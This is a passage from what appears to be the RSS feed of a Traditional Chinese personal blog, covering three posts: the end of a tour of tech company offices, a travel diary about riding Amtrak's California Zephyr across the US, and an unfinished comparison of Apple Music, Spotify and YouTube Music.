<p>大部分相對老 (成立於網路泡沫前) 的科技公司基本不提供免費午餐，但可能會透過提升薪資來弭平這部分的差異。其實如果人生階段已經到了每天都會自己煮晚餐順便準備隔天的便當，這樣的生活模式存下來的錢或許不見得比天天吃公司的少。</p>
<p>我自己觀察喜歡來辦公室吃午餐的員工，要不是年輕、剛畢業懶的自己帶便當的 New Grad，就是每天忙都忙不完，沒時間自己煮高階主管。</p>
<p>但不論是否免費，通常提供晚餐的公司，潛台詞就是你有可能工作到晚上，不見得是一件壞事，但是值得觀察。</p>
<h2 id="設計" class="relative group">設計 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/meta-arcade-room.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="室內遊戲空間，擺放多台街機與彈珠台，有人正在遊玩，天花板外露管線，呈現科技公司內部的休閒娛樂區域。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/adobe-hq.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Adobe 總部大樓外觀，建築立面帶有彩色幾何裝飾，入口處可見 Adobe 標誌與行人，整體風格現代且具設計感。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">Meta 總部有一間專門放街機遊戲的地方，在來美國前覺得很酷，但後來發現很多外面酒吧就有的時候反而就覺得沒那麼特別ㄌ</figcaption>

<ul>
<li>Uber 的辦公室氛圍整體活絡，室內設計裝潢的設計語言大致呼應自家產品 UI 簡約、俐落、以及現代的特色，是我私心最喜歡的辦公室，唯一硬要挑剔的缺點可能是零食太過健康：）</li>
<li>Meta 總部很大程度的保留了一種「一群科技宅男在大學畢業後從宿舍搬到某個廢棄倉庫，重新把這裡弄成可以開趴」的感覺，真的是挺魔幻的。</li>
<li>Google 基本中規中矩，確實是沒什麼好挑剔，但最想挑剔的可能就是它正在漸漸失去靈魂。</li>
<li>Amazon 真是無時無刻人都好多，一方面反映了公司 5 天 <abbr title="Return To Office">RTO</abbr> 政策，一方面也會懷疑自己是不是穿越到印度 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>。雖然 The Sphere 逛起來是真的覺得挺屌的，但各種面向還是很忠實的呈現這間公司對待顧客有多好，對待員工就有多糟。</li>
<li>Adobe 原本以為會非常陳舊，卻意外的有跟上時代在走，但同時又保留一些懷舊的元素，我由衷佩服。</li>
</ul>
<h2 id="地點" class="relative group">地點 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/microsoft-redmon-campus.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Microsoft 園區入口景觀，前景是 Microsoft 標誌，後方是現代感建築與拱形結構，天空陰雨，整體呈現企業總部的沉穩氛圍。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/lunch-at-uber-sf.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="室內高樓餐廳的用餐桌景，桌上擺放簡單餐點，透過大片落地窗可見城市街景與大型建築外牆廣告，光線明亮、構圖乾淨。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">Uber 舊金山辦公室的餐廳正對隔壁 Chase Center 的廣場，這百萬街景真的絕了</figcaption>

<p>公司的地點會蠻大程度影響到管理層如何看待這個世界，最終反映在他們設計出來的產品上。比方說 Uber 辦公室地點大多位於大城市最熱鬧的區域，也難怪可以開發出拿捏消費者在某些非常細微場景願意花錢買方便的功能。</p>
<p>反面的例子可能就是微軟總部長在某座山裡所以導致他們出現在<a href="https://img.tomy.me/blog/tech-office-tour-2025/2025-tech-stack-memes.webp" target="_blank" rel="noreferrer">這張迷因圖<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>裡，還有 Meta 總部長在紅樹林濕地旁邊，也難怪蜥蜴人會堅信元宇宙是世界的終極形態。</p>
<h2 id="結論" class="relative group">結論 </h2><p>雖然這一趟重點觀察的都是吃的，但走完一趟下來的結論還是覺得，再好吃的食物終究就還是會吃膩。選工作還是不要被這些外在的環境因素，辦公室還是需要回歸工作的本質，想吃好吃的食物，賺大錢去外面吃比較實在。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>零食由各單位自行編預算採購，公司只提供免費香蕉&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>就是人真的很多，印度人也很多&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">tech-office-tour-2025</guid><pubDate>Thu, 25 Dec 2025 17:29:11 -0800</pubDate></item><item><title>California Zephyr</title><link>https://blog.tomy.me/zh-tw/posts/california-zephyr/</link><description>加州和風號！</description><content:encoded><![CDATA[<p>這個月中間意外的放了一段長假，在接收到這個訊息的當下，我馬上聯想到在剛來美國時就放上 Bucket List 的第一條：</p>
<blockquote>
<p>坐火車橫跨美國</p>
</blockquote>
<p>於是我馬上就手刀下訂了兩週後的機票和火車票，踏上旅程！</p>
<h2 id="路線" class="relative group">路線 </h2><p>California Zephyr，中文又稱作「加州和風號」，行駛於芝加哥與舊金山之間，全長 2,438 英里，耗時三天兩夜共 53 小時。中途穿越三個時區，七個州，是全美國最長的客運鐵路路線。路線橫跨大平原、落磯山脈與內華達山脈，被公認為全美景致最壯麗的鐵道旅程之一。</p>
<iframe
  src="https://www.google.com/maps/d/u/0/embed?mid=1m_MoOOZJZ3BVJOm45w07uIka3hlg8OQ&ehbc=2E312F&noprof=1"
  class="w-full aspect-video rounded-md"
></iframe>
<p>我選擇搭乘的是從芝加哥開往舊金山方向的西向班次，列車過中午後從芝加哥出發，一路向西穿過愛荷華州，在午夜前抵達奧馬哈，入夜之後會穿過內布拉斯加，在隔天早晨抵達丹佛，並在這一站停留 50 分鐘換班，順便放乘客下車晃晃。</p>
<p>第二天的行程大部分是穿過科羅拉多山脈，在晚上進入鹽湖城。</p>
<p>第三天離開內華達沙漠之後，進入加州，沿著 I-80 州際公路行駛，下午短暫停留 Sacramento，最後抵達 Emeryville，這是一個位於舊金山灣對面的小城市，因為二戰後，連結兩側的奧克蘭大橋把原本的鐵路空間騰出來給汽車使用，所以列車的終點就改到這裡了。</p>
<h2 id="艙等車廂配置" class="relative group">艙等、車廂配置 </h2><p>這班列車的艙等大概有以下幾種：</p>
<ul>
<li>Coach：一般座位，只有廁所，沒有衛浴</li>
<li>Roomette：雙人上下舖，有獨立廁所、共用衛浴</li>
<li>Bedroom：雙人房，空間稍微大一點，有獨立廁所+衛浴</li>
<li>Bedroom Suite：就是兩間雙人房併在一起把中間的隔板打開</li>
<li>Family Bedroom：兩大兩小的房間，共用廁所衛浴</li>
</ul>
<p>臥鋪的價錢也包含 oncall 管家、三餐正餐，還有出發前可以使用車站的貴賓室 (如果出發站有的話)。</p>
<p>Amtrak 的臥鋪車廂分為 Viewliner 單層車廂跟 Superliner 雙層車廂，大部分芝加哥以西的路線，包含這條全部都是 Superliner。雖然每一班列車的車廂配置會稍微不太一樣，但大致上都是臥鋪車廂靠前面，中間有餐廳、觀景車廂，後面則是一般座位區。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-sightseeing-car-in-sunset.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 觀景車廂黃昏時分，陽光灑入座位間"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-sightseeing-car-in-snow.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 觀景車廂乘客欣賞窗外雪景，座位排列整齊"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">這觀景車廂的配置真的是絕了，現在看這兩張照片放在一起，還以為這列車是從秋天開進冬天</figcaption>

<h2 id="用餐" class="relative group">用餐 </h2><h3 id="餐車" class="relative group">餐車 </h3><p>因為餐車的座位不多，所以用餐的方式是走一個 Amtrak 稱為 Community Tables 的模式，也就是跟陌生人併桌用餐。餐車領班通常會在用餐時間前一到兩個小時廣播接受預約，社恐的臥鋪車廂乘客也可以選擇請管家送餐到房間裡，一般座位的乘客想要在餐廳車用餐的話，早、午、晚餐分別是 $20 / $25 / $45，不含小費。</p>
<p>選項算是蠻多元的，晚餐是傳統的 3 道菜的配置，包含前菜、主餐配酒 (雖然我只點了汽水)、甜點。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-dinning-car-steak.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 餐車晚餐，牛排配馬鈴薯泥與蔬菜，盤上印有 Amtrak 標誌"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-blueberry-cheesecake.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 餐車內的藍莓起司蛋糕切片，盤上淋有焦糖醬與鮮奶油"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">桌面還有鋪桌巾、蠟燭、還有一朵小花點綴，這價格對應的規格，其實蠻划算的。<br/>這藍莓起司蛋糕好吃到我覺得不輸外面賣的</figcaption>

<h3 id="cafe" class="relative group">Cafe </h3><p>Cafe 位於觀景車廂的下層，賣的東西種類也是很繁雜，看的出來 Amtrak 很認真在經營副業收入 (?)</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-cafe.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 餐飲車內部，販售飲料、零食與簡餐的櫃台"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-lunch.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amtrak 觀景車窗邊的輕食與 Dr Pepper 飲料，窗外下著小雨"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">但被灣區物價荼毒過的我反而覺得還是挺便宜的 (????)</figcaption>

<h3 id="生存包" class="relative group">生存包 </h3><p>但是一個人出遊總是會莫名其妙的想能省則省，所以除了一餐餐車、一餐 Cafe、一餐吃丹佛火車站咖啡廳的早餐、一餐買 Reno 車站附近的 Starbucks，其他兩餐 + 宵夜都是我在出發前一晚就採買的。幾個重點：</p>
<ul>
<li>可以去 Cafe 要免費的熱水 = 泡麵 OK</li>
<li>沒有冰箱、微波爐 = 冷凍、保質期短的食物 ❌</li>
</ul>
<p>最後我帶的東西有：</p>
<ul>
<li>一些零食 (洋芋片、巧克力)</li>
<li>飲料</li>
<li>麵包 (感謝 Tour Les Jours 以及 Paris Baguette)</li>
<li>泡麵兩杯</li>
<li>馬克杯、奶茶粉</li>
</ul>
<p>其他值得考慮的選項還有貝果 + 果醬、保久乳 + 麥片、罐頭，但因為麵包實在太方便，後來就沒有不想折騰自己帶這些麻煩的東西了。</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-supper.webp"
      class="rounded-md max-h-96 mx-auto"
      alt="Amtrak 車廂餐桌上擺著兩杯泡麵與可樂罐，夜間燈光下"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">在夜間行駛的火車上一邊吃宵夜一邊看星戰，真香</figcaption>
  </figure>


<h2 id="睡覺" class="relative group">睡覺 </h2><p>吃飽來去睏！</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/california-zephyr/california-zephyr-coach-sleep-mode.webp"
      class="mx-auto my-0 rounded-md"
      alt="Amtrak 普通車廂夜間照明下的座位區，座椅上放著外套"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">腳凳可以拉到與座位平行，椅背也可以拉到 45°，以飛機的艙等也姑且可以算是豪經艙了<br/></figcaption>
</figure>
</p>
<h2 id="風景" class="relative group">風景 </h2><p>一路上發了很多影片，但有點懶得貼過來，想看的話就自行移駕<a href="https://www.instagram.com/stories/highlights/18208719361311613/" target="_blank" rel="noreferrer">我的 Instagram 精選<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>吧哈哈哈</p>
<p>另外推薦<a href="https://youtu.be/oEzGlc-T1Tk" target="_blank" rel="noreferrer">這個 YouTube 影片<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我跟他的路線基本上是一模一樣，但他拍的應該是比我好看很多 XDDDD</p>
<h2 id="其他小撇步" class="relative group">其他小撇步 </h2><ul>
<li>因為路線有很大部份都在荒郊，基本上只要路線沒有跟州際公路重疊，可以直接預設不會有網路訊號，記得事先下載好要看的東西，我這一趟看了《創·光速戰記》、《星際大戰》正傳三部曲、聽了 Podcast 又看了半本書</li>
<li>西向列車的時間比起東向列車更適合看風景一點，而芝加哥到丹佛的這一段風景相對單調，如果只是想欣賞風景，可以坐丹佛到舊金山這段就好。</li>
</ul>
<h2 id="尾聲" class="relative group">尾聲 </h2><p>雖然說這趟旅程表面上的賣點是看風景和坐火車，但真正讓我印象深刻的反而車上乘客們的氛圍。</p>
<p>還記得上車時，列車長就在廣播宣傳，不准光著腳或上空在車廂到處趴趴走。這其實並不是空穴來風，因為這段旅程確實就像一個移動式的大型宿舍，對於像坐在我旁邊的大寫 E 人阿嬤，車還沒開就主動找上我聊天，我感覺他在下車前都快把周遭的人給聊了一遍，也經常牽著坐在隔壁排視力不良的另一個老阿嬤去上廁所，在景觀車廂時，來自不同地方的乘客會聚在一起，有的人喜歡聊天，有的人會帶桌遊跟其他人一起消磨時間，也有些人跟我一樣，喜歡靜靜的坐在窗邊，雖然沒說上幾句話，但坐在一起一同享受一個安靜的下午，還是會有種被陪伴的感覺。</p>
<p>第一天晚餐陪我吃晚餐的，一位是長得像 The Good Place 裡的 Michael，以前在芝加哥教書的教授，現在退休住在丹佛當小說家；另一位則是長的超像 Emily in Paris 裡 Alfie 的非裔紳士，一樣有著英國口音，是一個在鐵路產業工作的上班族，但下班依舊喜歡搭火車旅遊，這次來芝加哥玩就是為了搭這段火車，而且到丹佛的當天晚上還要去看落磯隊的棒球比賽。我們敬完酒後道別，回到各自的座位，從此再也不見。</p>
<p>列車緩緩開進舊金山灣，列車長的最後廣播也瞬間變的像金恩博士的演講，獲得觀景車廂乘客們的喝彩。</p>
<p>雖然寫這篇遊記的現在，我甚至都快記不得坐我隔壁阿嬤的長相了，但我喜歡這種命運安排的相遇，也會再度期待下一次的一期一會。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">california-zephyr</guid><pubDate>Mon, 08 Dec 2025 23:24:44 -0800</pubDate></item><item><title>串流音樂平台 2025 年回顧</title><link>https://blog.tomy.me/zh-tw/posts/streaming-services-2025/</link><description>太多 Could Have 太少 Must Have</description><content:encoded><![CDATA[<p>最近對 Spotify 的各種政策有點感冒。</p>
<p>比方說<a href="https://en.wikipedia.org/wiki/Controversy_over_fake_artists_on_Spotify" target="_blank" rel="noreferrer">製造很多人工音樂塞進歌單來降低藝人能拿到的分潤<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>、<a href="https://www.thenewslens.com/article/245792" target="_blank" rel="noreferrer">去年把 Wrapped 搞的一塌糊塗<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>、還有無損壓縮音質慢了 Apple Music 整整 4 年&hellip;&hellip;等等其他各種問題族繁不及備載。另一邊 Apple 經常找一堆名堂送 Apple Music 的試用，於是我決定第三度嘗試從 Spotify 跳槽到 Apple Music。</p>
<p>有鑑於我對於為什麼前兩次跳槽失敗只留下了模糊的印象，每次都是到了重新測試的時候才會突然有「啊對啦上次也是這樣」的時刻，最後還是夾著尾巴乖乖回去 Spotify。這篇文的一大重點，就是要把所有阻止我離開 Spotify 的理由清單列下來，這樣就算失敗了，下次只要重新檢查這份清單，就可以快速決定是不是可以出走。</p>
<p>同時為了增加這次成功的機率，我花了一個下午把所有平常常聽的歌單全部一口氣匯過去，並且把 Spotify 這邊的歌單清掉，破釜沈舟！</p>
<h2 id="apple-music" class="relative group">Apple Music </h2><p>蘋果與音樂產業合作的歷史淵源可以一路追溯到 iPod 時期，他們在唱片公司、指標性的大藝人有非常多人脈，知道怎麼跟這個產業打交道，理論上是最有潛力打造出最卓越的音樂聆聽體驗。另一方面，音樂佔據營收和利潤的份額有限，所以他們其實並沒有動機去壓低分潤來增加利潤，但這同時也可能是為什麼他們似乎這幾年沒有在這個產品上花太多心思的主因。</p>
<h3 id="優點" class="relative group">優點 </h3><p>先講幾個我個人非常喜歡 Apple Music 的地方：</p>
<h4 id="細緻度誇張的動態歌詞" class="relative group">細緻度誇張的動態歌詞 </h4><p>動態歌詞的功能雖然並不少見，但大部分解析度只能做到「一個字」已經唱完或還沒唱。而 Apple 的動態歌詞可以在某些歌詞有拉尾音的時候放慢歌詞 highlight 的速度，而且在多人合唱的時候，也可以同時 highlight 不同句歌詞。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<h4 id="卡啦-ok-模式" class="relative group">卡啦 OK 模式 </h4><p>用 AI 去人聲，不管是唱歌還是工作的時候不想要聽到人聲都很好用，就我主觀的經驗是去的挺好的。這功能對高中社團經常需要找網路伴唱帶的我來說，簡直是好到難以置信的存在。</p>
<h4 id="非常詳盡的製作人員名單" class="relative group">非常詳盡的製作人員名單 </h4><p>大部分的音樂播放軟體最多就是列出作詞作曲，在 Apple Music 上連演出人員、製作團隊也會全部列出來<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，我認為算是體現了對這個產業的高度尊重。</p>
<h4 id="體驗極佳的-ios-app" class="relative group">體驗極佳的 iOS App </h4><p>真的是前所未有的流暢。</p>
<p>還有一些功能是其他音樂 App 都沒辦法做到的，比方說耳機連上之後，不用解鎖在待機介面就可以直接點選播放最近播放的清單；還有像是在 Shortcuts 裡支援的操作方式更多元。但不確定這是不是因為 Apple 偷偷使用了沒有對外公開的 API (就是主場裁判偷吃步啦) 就是了。總之雖然 Spotify 也不差，但 Apple Music 還是略勝一籌。</p>
<h3 id="缺點" class="relative group">缺點 </h3><p>可惜的是，毛病也是不少：</p>
<h4 id="體驗極差的-mac-app" class="relative group">體驗極差的 Mac App </h4><p>只能說 iOS 有多好 Mac 就有多糟，不知道這開發團隊是發生什麼事。很多像是增加歌曲到清單的這種基本操作都很卡頓，也沒辦法一次選取多首歌曲。很多介面的小細節處在一個 Liquid Glass 和舊 UI 元件混用、有的地方有動畫，有的地方沒有，總之就是視覺前後不協調的縫合怪狀態，很像在用某種測試版的半成品，甚至網頁版還相對好用一點。</p>
<h4 id="無法選擇語言" class="relative group">無法選擇語言 </h4><p>這個在 Mac/iOS 都一樣，藝人/專輯/歌曲的資訊語言會自動綁定系統語言，而且不像其他 App 一樣可以在設定手動修改。看到美秀集團的《小老婆》顯示成《Little Bitch》的當下是真的很想捲根菸來抽</p>
<h4 id="音樂載入速度不夠快" class="relative group">音樂載入速度不夠快 </h4><p>比方說開車到地下停車場或是火車開到深山，Spotify 在絕大部分的情況下都會自動預載一定份量音樂，所以不會馬上停止播放，但在 Apple Music 上，這個問題特別嚴重，非常明顯。但反正 Apple 在「限制快取空間大小」的用力過度也不是第一次了，從 Safari 到 iCloud 步幾乎都是的結果，但與此同時又開了超大的空間給 Apple Intelligence 隨便放，真的是雙標到我理解不能。</p>
<h4 id="強制綁定裝置的-apple-帳號" class="relative group">強制綁定裝置的 Apple 帳號 </h4><p>我在 iOS 上有兩個 Apple 帳號，分別用來下載美國跟台灣的 App，所以每當要暫時切換到美國帳號下載 App，音樂就會被強制卡掉。一般開車上路的時候，手機一透過藍芽連接到汽車音響就會自動開始播放常用歌單，但如果忘記切帳號又已經出發，就會有點懶得特別停車就為了切帳號聽音樂，如果出發時又剛好在某些網路收訊本來就很差的室內停車場，那就根本連想切都切不了。</p>
<p>同樣的問題在我工作的 MacBook 上也會出現，因為 iCloud、AirDrop 之類的功能有外洩資料的風險，公司禁止登入個人的 Apple ID，也就變相等於我不能用公司電腦邊工作邊聽 Apple Music，Spotify 就不會受到這種限制。</p>
<h2 id="spotify" class="relative group">Spotify </h2><p>回頭來講講 Spotify。</p>
<p>雖然開頭把他批評的一無是處，但其實在寫這篇文的當下，有蠻多的問題已經獲得改善，</p>
<ul>
<li>今年的 Wrapped 看起來是投入了不少心力來救去年的火</li>
<li>無損壓縮正在慢慢推送到各個市場</li>
</ul>
<p>同時，上面提到 Apple Music 的各種操作在 Spotify 基本都沒有太多的問題，而且這些 Apple Music 獨有的功能也都在漸漸被「致敬」復刻，比方說詳盡的製作名單，還有客製化播放清單圖片等等。</p>
<p>同時 Spotify 最近更積極的在耕耘社群這一塊，算是把本來就很龐大的使用者基數搬出來，用來吸引更多人的跳槽的傑出的一手，但究竟成效如何，可能就要再觀察一陣子了。</p>
<h2 id="youtube-music" class="relative group">YouTube Music </h2><p>測都測了，就順手簡單記錄一下</p>
<ul>
<li>反正我本來就有訂閱 YouTube Premium，所以如果 YouTube Music 是我的主力平台，每個月又可以省下一小筆。</li>
<li>其實掌握了不少不存在任何平台上的音樂，在某些方面來說，其實可能是歌庫最豐富的平台。<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
<li>Apple 在<a href="https://privacy.apple.com/" target="_blank" rel="noreferrer">隱私頁面<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>有提供把 Apple Music 播放清單單向輸出到 YouTube Music 的功能，挺少見的。</li>
<li>沒有播放清單資料夾的功能，所有清單只能放在最上層。我以為這不會是問題，但實際上把歌單匯進去之後發現，嗯以前整理的歌單變得挺難找的。</li>
</ul>
<h2 id="其他" class="relative group">其他 </h2><p>值得注意的其他小細節，也先紀錄一下</p>
<ul>
<li>Last.fm 的 Scrobbler 在各個平台的<a href="https://www.last.fm/about/trackmymusic" target="_blank" rel="noreferrer">支援狀況<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>也都不太明朗。Spotify 是從伺服器端綁定帳號發送，應用端不需要任何設定。Apple Music 跟其他平台就複雜許多，應用端可能還會有不同的毛病，而且如果應用端環境受限 (比方説在車上) 那就根本沒辦法支援。</li>
<li>即便主流的觀點是，串流平台最強大的武器是開發出幫使用者找到他們會喜歡歌曲或藝人的演算法，但我私心還是覺得這件事應該是使用者的責任，不應該依託到平台身上，但我最近確實有一點想接納這個觀點，但可能還要再觀察</li>
<li>Deezer 跟 Tidal 不知道是否還健在，特別是當所有平台都有無損壓縮之後，Tidal 的獨特性可能就會漸漸消失，但改天有空說不定還是值得試一下。</li>
<li>對於 Podcast 到底應不應該獨立到另一個平台，可能是一個值得思考的問題，目前沒有太多想法</li>
</ul>
<h2 id="結論" class="relative group">結論 </h2><p>Apple Music 雖然那些花花綠綠的酷功能值得嘉獎，但還因為太多基本的東西做不好，難以掩蓋使用這些功能的痛苦。我在此宣告：第三次革命失敗 (?) 撤軍回 Spotify。</p>
<p>開頭還說要破釜沈舟，現在歌單又要再匯回去，唉呀真的是頭好痛。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
